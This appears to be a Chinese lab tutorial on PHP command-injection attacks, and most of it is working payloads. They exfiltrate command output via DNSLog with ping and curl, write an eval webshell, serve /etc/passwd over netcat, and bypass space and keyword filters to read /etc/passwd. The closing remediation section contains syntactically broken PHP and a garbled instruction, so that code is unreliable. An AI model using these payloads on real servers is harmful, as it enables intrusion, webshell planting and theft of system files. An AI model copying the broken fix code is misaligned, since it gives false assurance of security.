在实战中,很多时候不会直接回显,需要我们利用各种带外通信技巧
「DNSLog」
代码
<?php $c=($_GET['a']); $cmd=exec($c); echo $cmd; ?>
「原理」:
反撇号中的命令会自动执行并返回命令执行的结果拼接到命令里,linux里要加上-c参数指定次数
http://192.168.240.139/2.php?a=ping%20-c%201%20`whoami`.gtf9n4.dnslog.cn
image-20211216162452068
成功返回了whoami的信息
image-20211216162223074
「管道符」
在有写入的权限下,直接利用漏洞写入一句话
windows下
http://127.0.0.1/test/test.php?submit=test&ip=ping%20127.0.0.1%20||%20echo%20^%3C?php%20@eval($_POST[pass]);?^%3E%20%3E%20shell.php
image-20211216120749887
image-20211216120956086
linux下
echo PD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg== |base64 -d > shell.php
image-20211216145247683
image-20211216145302237
「NetCat」
如果目标系统有安装netcat,可以直接利用netcat将操作系统的输出重定向netcat监听的端口
nc –l –p {port} < {file/to/extract} # nc -lp 9999 < /etc/passwd
当我们向目标系统注入了类似上面这样形式的命令时,我们就可以在我们自己的主机上利用netcat连接目标的监听端口,然后我们就可以得到想要的敏感信息了
http://192.168.240.139/2.php?a=ping%20-c%204%20www.baidu.com%20|%20nc%20-lp%209999%20%3C%20/etc/passwd
image-20211216150933287
image-20211216150955542
如果目标系统是windows的话,我们需要稍微修改一下命令:
type {file to extract} | nc -L -p {port}
「curl」
curl是用于使用各种协议传输数据的库和命令行工具,是用于数据渗透的非常有用的工具,如果易受攻击的服务器具有curl,可以使用它来将文件发送到恶意Web服务器或使用其他协议(例如FTP / SCP / TFTP / TELNET等)传输文件
用http请求的方式携带数据
curl-vlbjuaw.dnslog.cn/`whoami`
image-20211216160847554
image-20211216160810570
注意:如果要使用ls命令擦好看当前目录文件,会发现只有一个请求,只能看到一个文件或者目录(换行、空格、!、$、&、?)等特殊字符无法通过DNSlog将数据带出来 ,将内容base64编码,然后输出
curl-vlbjuaw.dnslog.cn/`ls|base64`
image-20211216161601368
image-20211216161615742
0x04命令执行绕过
1、绕过空格过滤
1.1${IFS}绕过
是的特殊环境变量是下的内部俞分隔符IFS中存储的值可以是空格 制表符 换行符或者其他自定义符号
<?php $c=($_GET['a']); $d=system($c); echo $d; ?>
输入
http://192.168.240.139/2.php?a=cat${IFS}1.php${IFS}|${IFS}base64
返回1.php
的base64加密后源码内容
image-20211216163110410
9绕过
用法和${IFS}
相似
制表符绕过
%09是制表符URL编码 可以通过%09代替空格绕过空格过滤
http://192.168.240.139/2.php?a=cat%091.php%09|%09base64
image-20211216163337338
<绕过
http://192.168.240.139/2.php?a=cat%3C1.txt
image-20211216163641163
\绕过
http://192.168.240.139/2.php?a=c\a\t%091.txt #例如 通过c\a\t绕过cat命令过滤
image-20211216163812556
通配符绕过
*代表0到多个字符 ?代表一个任意字符 []内为字符范围 代表字符范围内任意一个字符
如绕过 /etc/passwd (方法很多,自行尝试)
http://192.168.240.139/2.php?a=c\a\t%09/???/???sw? http://192.168.240.139/2.php?a=c\a\t%09/*/passwd
image-20211216164049480
漏洞修复
1.禁用disable_functions
中的敏感函数
2.函数过滤
escapeshellarg函数
escapeshellarg函数把字符串转码为可以在shell命令里使用的参数,以过滤命令中的参数
函数给字符串增加一个单引号,并且能引用或者转义任可已经存在的单引号,这样可以直接将一个字符串传入shell函数并确保他是安全的
修复举例:
<?php $ip=$_GET['ip'] ; system("ping -c 3".escapeshellarg($ip)); ?>
escapeshellcmd函数
可以对shell元字符进行转义 过滤命令
对字符串中可能欺骗shell的恶意命令字符转义 函数保证用户输入的数据在传送到system函数或执行操作符之前被转义函数会在字符间加入反斜线
修复举例
<?php $ip=$_GET['ip'] ; system(escapeshellcmd("ping -c 3")"ping -c 3".$ip); ?>